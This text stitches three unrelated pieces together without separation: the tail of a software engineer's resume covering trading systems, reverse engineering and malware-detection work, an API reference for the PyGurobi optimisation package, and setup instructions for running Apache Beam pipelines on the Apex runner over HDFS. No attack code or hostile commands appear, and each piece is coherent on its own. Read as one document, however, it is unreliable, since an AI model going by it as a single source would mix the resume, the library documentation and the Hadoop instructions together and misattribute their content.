- Maintained and improved real time trading software platform for electricity markets.
- Built custom analysis software to track and identify product performance bottlenecks.
- Prototyped concurrent user web based electricity trading management software.
- Minor Windows Server administration and performance tuning.
Software Engineer
Northrop Grumman, Millersville, MD / Cincinnati, OH
- Lead developer on network communcations module for embedded solutions.
- Performed reverse engineering of PPC and MIPS based platforms.
- Gained testing experience in a complex virtual machine configuration.
- Core developer of Streaming File Analysis Framework (SFA) used for malware detection.
- Redesigned and developed web based GUI tool in Django using a Mongodb backend.
Software Engineer
Nasdaq OMX, Lakewood, CO
- Lead developer on OATS reporting system using Java and Python.
- Oversaw two major OATS releases. Supported and maintained OATS reporting during substantial growth.
- Expanded reporting suite, added new support for a number of Canadian exchanges.
- Implementation and support of a variety of exchange protocols including: Fix 4.2, Ouch, Rash, Arca Direct 3.2/4.0, DirectEdge, Bats Binary.
- Developed unit and integration tests, worked with remote support team to deliver excellent service and post production support to customers.
- Mentored junior developer, allowing immediate contributions.
- Awarded the Nasdaq OMX Gold CEO Award Q4 2011.


PyGurobi package documentation¶
pygurobi module¶
Module contents¶
Functions to support rapid interactive modification of Gurobi models.
For reference on Gurobi objects such as Models, Variables, and Constraints, see the Gurobi Python API.
See the PyGurobi Github page for a tutorial
-
pygurobi.
add_constraint_constant
(model, variables, constant, sense='<', con_name='')¶ Add constraint to model that says the sum of variables must be equal, less than or equal, or, greater than or equal, a constant.
- Parameters
- model: Gurobi model object
- variables: List of Gurobi variables
- constant: Any number
- sense: one of ">", "<", "=", representing greater than or equal, less than or equal, and equal, respectively.
- con_name: name of the to be added constraint
-
pygurobi.
add_constraint_variables
(model, variables1, variables2, sense='=', con_name='')¶ Add constraint to model that says the sum of a list of variables must be equal, less than or equal, or greater than or equal, the sum of another list of variables.
- Parameters
- model: Gurobi model object
- variables1: List of Gurobi variables composing the left hand side of the constraint
- variables2: List of Gurobi variables composing the right hand side of the constraint
- constant: Any number
- sense: one of ">", "<", "=", representing greater than or equal, less than or equal, and equal, respectively.
- con_name: name of the to be added constraint
-
pygurobi.
filter_constraints
(constraints, filter_values, exclude=False)¶ Return a new list of constraints that match the filter values from the given constraints list.
- Parameters
- constraints: List of Gurobi constraint objects
- filter_values: Dictionary mapping index numbers to index values. For example {0: "a", 1: "b"} returns constraints with first index value of "a" and second index value of "b".
- exclude: If True return the complement of of the constraints that match the filter values.
-
pygurobi.
filter_variables
(variables, filter_values, exclude=False)¶ Return a new list of variables that match the filter values from the given variables list.
- Parameters
- variables: List of Gurobi variable objects
- filter_values: Dictionary mapping index numbers to index values. For example {0: "a", 1: "b"} returns variables with first index value of "a" and second index value of "b".
- exclude: If True return the complement of of the constraints that match the filter values.
-
pygurobi.
get_constraints
(model, name='', approx=False, filter_values={}, exclude=False)¶ Return a list of constraints from the model selected by constraint set name.
A constraint set is composed of all constraints sharing the same string identifier before the indices: A(2,3,4) and A(1,2,3) are in the same constraint set, A; A(2,3,4) and B(2,3,4) are in constraint sets A and B, respectively
PyGurobi by default assumes that constraint set names are separated from indices by round brackets "(" and ")". For example, constraints look like env(r,t) - where "env" in the constraint set name and "r" and "t" are the index values. See the source for more details.
- Parameters
- model: Gurobi model object
- name: Name of constraint set
- filter_values: Dictionary mapping index numbers to index values. For example {0: "a", 1: "b"} returns constraints with first index value of "a" and second index value of "b".
- exclude: If True return the complement of of the constraints that match the filter values.
-
pygurobi.
get_constraints_attr
(attr, model='', name='', constraints='')¶ Return a dictionary of constraint names and their corresponding attribute value.
Specifiy either model and name parameters or supply a list of constraints
- Parameters
- attr: Gurobi constraints attribute name
- model: Gurobi model object
- name: Name of constraint set
- constraints: List of Gurobi constraint objects
-
pygurobi.
get_constraints_by_index
(index, model='', name='', constraints='')¶ Return a dictionary mapping index values to lists of constraints having that index value.
Specifiy either model and name parameters or supply a list of constraints
- Parameters
- index: Index number using Python list indexing - 0 corresponds to the first index.
- model: Gurobi model object
- name: Name of constraint set
- constraints: List of Gurobi constraint objects
-
pygurobi.
get_linexp_by_index
(index, model='', name='', variables='')¶ Return a dictionary of index values to Gurobi linear expressions corresponding to the summation of variables that match the index value for the given index number.
Specifiy either model and name parameters or supply a list of variables
- Parameters
- index: Index number using Python list indexing - 0 corresponds to the first index.
- model: Gurobi model object
- name: Name of variables set
- variables: List of Gurobi variable objects
-
pygurobi.
get_linexp_from_variables
(variables)¶ Return a linear expression from the supplied list of variables.
- Parameters
- variables: List of Gurobi variable objects
-
pygurobi.
get_variables
(model, name='', approx=False, filter_values={}, exclude=False)¶ Return a list of variables from the model selected by variable set name.
-
A variable set is composed of all variables sharing the same string identifier before the indices: A[2,3,4] and A[1,2,3] are in the same variable set, A; A[2,3,4] and B[2,3,4] are in varible sets A and B, respectively
PyGurobi by default assumes that *variable names* are separated from indices by square brackets "[" and "]", For example, variables look like x[i,j] - "x" in the variable set name, and "i" and "j" and the variable's index values. See the source code for more details.
- Parameters
- model: Gurobi model object
- name: Name of variable set
- filter_values: Dictionary mapping index numbers to index values. For example {0: "a", 1: "b"} returns variables with first index value of "a" and second index value of "b".
- exclude: If True return the complement of of the variables that match the filter values.
-
pygurobi.
get_variables_attr
(attr, model='', name='', variables='')¶ Return a dictionary of variables names and their corresponding attribute value.
Specifiy either model and name parameters or supply a list of variables
- Parameters
- attr: Gurobi variables attribute name
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variables objects
-
pygurobi.
get_variables_by_index
(index, model='', name='', variables='')¶ Return a dictionary mapping index values to lists of matching variables.
Specifiy either model and name parameters or supply a list of variables
- Parameters
- index: Index number using Python list indexing - 0 corresponds to the first index.
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variable objects
-
pygurobi.
get_variables_by_two_indices
(index1, index2, model='', name='', variables='')¶ Return a dictionary of variables mapping index1 values to dictionaries mapping index2 values to matching variables.
Specifiy either model and name parameters or supply a list of variables
- Parameters
- index1: Index number using Python list indexing - 0 corresponds to the first index.
- index2: Index number using Python list indexing - 0 corresponds to the first index.
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variable objects
-
pygurobi.
graph_by_index
(model, variables, index, title='', y_axis='', x_axis='')¶ Display a graph of variables against the specified index.
Matplotlib must already be installed to use this. See: http://matplotlib.org/faq/installing_faq.html
- Parameters
- model: Gurobi model object
- variables: List of Gurobi variable objects
- index: Index number using Python list indexing - 0 corresponds to the first index.
- title: Graph title
- y_axis: Title for y-axis
- x_axis: Title for x-axis
-
pygurobi.
graph_by_two_indices
(model, variables, index1, index2, title='', y_axis='', x_axis='')¶ Display a graph of the variable summed over index2 against index1.
Matplotlib must already be installed to use this. See: http://matplotlib.org/faq/installing_faq.html
- Parameters
- model: Gurobi model object
- variables: List of Gurobi variable objects
- index1: Index number using Python list indexing - 0 corresponds to the first index.
- index2: Index number using Python list indexing - 0 corresponds to the first index.
- title: Graph title
- y_axis: Title for y-axis
- x_axis: Title for x-axis
-
pygurobi.
list_constraints
(model)¶ Print to screen the constraint sets in the model. Show the name of each constraint set along with the number of constraints in that set.
A constraint set is composed of all constraints sharing the same string identifier before the indices: A(2,3,4) and A(1,2,3) are in the same constraint set, A; A(2,3,4) and B(2,3,4) are in constraint sets A and B, respectively
- Parameters
- model: Gurobi model object
-
pygurobi.
list_variables
(model)¶ Print to screen the variable sets in the model. Show the name of each variable set along with the number of variables in that set.
A variable set is composed of all variables sharing the same string identifier before the indices: A[2,3,4] and A[1,2,3] are in the same variable set, A; A[2,3,4] and B[2,3,4] are in variable sets A and B, respectively
- Parameters
- model: Gurobi model object
-
pygurobi.
print_constraints
(constraints)¶ Print a list of constraints to screen
- Parameters
- constraints: List of Gurobi constraint objects
-
pygurobi.
print_constraints_attr
(attr, model='', name='', constraints='')¶ Print to screen a list of constraint attribute values given by the constraints specified in the names parameter.
Specifiy either model and name parameters or supply a list of constraints
- Parameters
- attr: Gurobi constraints attribute name
- model: Gurobi model object
- name: Name of constraint set
- constraints: List of Gurobi constraint objects
-
pygurobi.
print_dict
(dictionary)¶ Print a dictionary to screen.
- Parameters
- dictionary: Python dictionary
-
pygurobi.
print_two_indices_dict
(indices_dict)¶ Print to screen a two level nested dictionary.
- Parameters
- dictionary: Two level Python dictionary: e.g. a = {1: {2: 3}}
-
pygurobi.
print_variables
(variables)¶ Print a list of variables.
- Parameters
- variables: List of Gurobi variable objects.
-
pygurobi.
print_variables_attr
(attr, model='', name='', variables='')¶ Print to screen a dictionary of variables names and their corresponding attribute value.
Specifiy either model and name parameters or supply a list of variables
- Parameters
- attr: Gurobi variables attribute name
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variables objects
-
pygurobi.
print_variables_sum_by_index
(index, model='', name='', variables='')¶ Print a dictionary of variables, summed by the specified index.
- Parameters
- index: Index number using Python list indexing - 0 corresponds to the first index.
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variables objects
-
pygurobi.
read_model
(filename)¶ Read a model using gurobipy.
- Parameters
- filename: Gurobi compatible file describing an optimization model.
-
pygurobi.
remove_constraints_from_model
(model, name='', constraints='')¶ Remove the given constraints from the model.
Specifiy either model and name parameters or supply a list of constraints
- Parameters
- model: Gurobi model object
- name: Name of constraint set
- constraints: List of Gurobi constraints
-
pygurobi.
remove_variables_from_model
(model, name='', variables='')¶ Remove the given variables from the model.
Specifiy either model and name parameters or supply a list of constraints
- Parameters
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variables
-
pygurobi.
reoptimize
(m)¶ Update, reset, and optimize a model.
- Parameters
- model: Gurobi model object
-
pygurobi.
set_constraints_attr
(attr, val, model='', name='', constraints='')¶ Set an attribute of a model constraint set.
Specifiy either model and name parameters or supply a list of constraints
- Parameters
- attr: Gurobi constraints attribute name
- val: Constraint attribute value
- model: Gurobi model object
- name: Name of variable set
- constraints: List of Gurobi constraints
-
pygurobi.
set_constraints_rhs_as_percent
(percent, model='', name='', constraints='')¶ Set the right hand side (rhs) of a constraint set as a percentage of its current rhs.
Specifiy either model and name parameters or supply a list of constraints
- Parameters
- percent: Number between 0 and 1
- model: Gurobi model object
- name: Name of variable set
- constraints: List of Gurobi constraints
-
pygurobi.
set_variables_attr
(attr, val, model='', name='', variables='')¶ Set an attribute of a model variable set.
Specifiy either model and name parameters or supply a list of variables
- Parameters
- attr: Gurobi variables attribute name
- val: Variable attribute value
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variables
-
pygurobi.
set_variables_bounds
(lb='', ub='', model='', name='', variables='')¶ Set the lower bound and/or upper bound for a variables set.
Specifiy either model and name parameters or supply a list of variables
- Parameters
- lb: Variable set lower bound
- val: Variable set upper bound
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variables
-
pygurobi.
sum_variables_by_index
(index, model='', name='', variables='')¶ Return a dictionary mapping index values to the sum of the solution values of all matching variables.
Specifiy either model and name parameters or supply a list of variables
- Parameters
- index: Index number using Python list indexing - 0 corresponds to the first index.
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variables
-
pygurobi.
sum_variables_by_two_indices
(index1, index2, model='', name='', variables='')¶ Return a dictionary mapping index1 values to dictionaries of the given variables summed over index2.
- Parameters
- index1: Index number using Python list indexing - 0 corresponds to the first index.
- index2: Index number using Python list indexing - 0 corresponds to the first index.
- model: Gurobi model object
- name: Name of variable set
- variables: List of Gurobi variables
-
pygurobi.
zero_all_objective_coeffs
(model)¶ Set all variable objective coefficients in a model to zero.
- Parameters
- model: Gurobi model object


The Apex Runner executes Apache Beam pipelines using Apache Apex as an underlying engine. The runner has broad support for the Beam model and supports streaming and batch pipelines.
Apache Apex is a stream processing platform and framework for low-latency, high-throughput and fault-tolerant analytics applications on Apache Hadoop. Apex has a unified streaming architecture and can be used for real-time and batch processing.
You may set up your own Hadoop cluster. Beam does not require anything extra to launch the pipelines on YARN. An optional Apex installation may be useful for monitoring and troubleshooting. The Apex CLI can be built or obtained as binary build. For more download options see distribution information on the Apache Apex website.
Put data for processing into HDFS:
hdfs dfs -mkdir -p /tmp/input/
hdfs dfs -put pom.xml /tmp/input/
The output directory should not exist on HDFS:
hdfs dfs -rm -r -f /tmp/output/
Run the wordcount example (example project needs to be modified to include HDFS file provider)
mvn compile exec:java -Dexec.mainClass=org.apache.beam.examples.WordCount -Dexec.args="--inputFile=/tmp/input/pom.xml --output=/tmp/output/ --runner=ApexRunner --embeddedExecution=false --configFile=beam-runners-apex.properties" -Papex-runner
The application will run asynchronously. Check status with yarn application -list -appStates ALL
The configuration file is optional, it can be used to influence how Apex operators are deployed into YARN containers. The following example will reduce the number of required containers by collocating the operators into the same container and lower the heap memory per operator - suitable for execution in a single node Hadoop sandbox.
apex.application.*.operator.*.attr.MEMORY_MB=64
apex.stream.*.prop.locality=CONTAINER_LOCAL
apex.application.*.operator.*.attr.TIMEOUT_WINDOW_COUNT=1200
Check the output of the pipeline in the HDFS location.
hdfs dfs -ls /tmp/output/
Depending on your installation, you may be able to monitor the progress of your job on the Hadoop cluster. Alternatively, you have following options: